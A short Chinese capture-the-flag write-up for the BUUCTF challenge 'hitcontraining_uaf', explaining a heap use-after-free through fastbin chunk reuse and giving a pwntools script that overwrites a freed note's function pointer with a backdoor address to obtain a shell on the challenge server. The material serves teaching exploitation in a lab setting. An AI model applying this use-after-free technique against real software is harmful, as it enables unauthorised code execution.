hitcontraining_uaf

国际惯例

hitcontraining_uaf

IDA

主函数没啥特别的
hitcontraining_uaf有后门
hitcontraining_uaf
add
hitcontraining_uaf
del
hitcontraining_uaf
show
hitcontraining_uaf

思路

首先我们创建两个chunk,再free掉,之后add一个8字节的chunk,并添加后门,在通过show功能调用后门函数。

WP

from pwn import*
r=remote('node3.buuoj.cn',26891)

def add(size,content):
  r.sendlineafter('choice :','1')
  r.sendlineafter('Note size :',str(size))
  r.sendlineafter('Content :',content)

def free(idx):
  r.sendlineafter('choice :','2')
  r.sendlineafter('Index :',str(idx))

def show(idx):
  r.sendlineafter('choice :','3')
  r.sendlineafter('Index :',str(idx))

shell_addr=0x8048945
add(48,'aaaa')
add(48,'bbbb')
free(0)
free(1)
add(8,p32(shell_addr))
show(0)
r.interactive()

创建一个表格

首先我们创建两个fast_bin的堆块,之后free掉0、1,由于fast_bin是先进后出的进制,这样chunk0就在最下面,之后我们再申请一个8字节的chunk程序会首先把之前free掉的chunk1进行创建,之后的chunk0我们写入后很函数在通过打印调用chunk0的后门函数。(其中的chunk0、1是程序自己创建的chunk)。

没有free的

hitcontraining_uaf
free之后
hitcontraining_uaf
创建8字节的chunk之后
hitcontraining_uaf
之后showchunk0,会调用后门函数。

上一篇:java.util 类 TreeSet


下一篇:趣谈哈希表优化:从规避 Hash 冲突到利⽤ Hash 冲突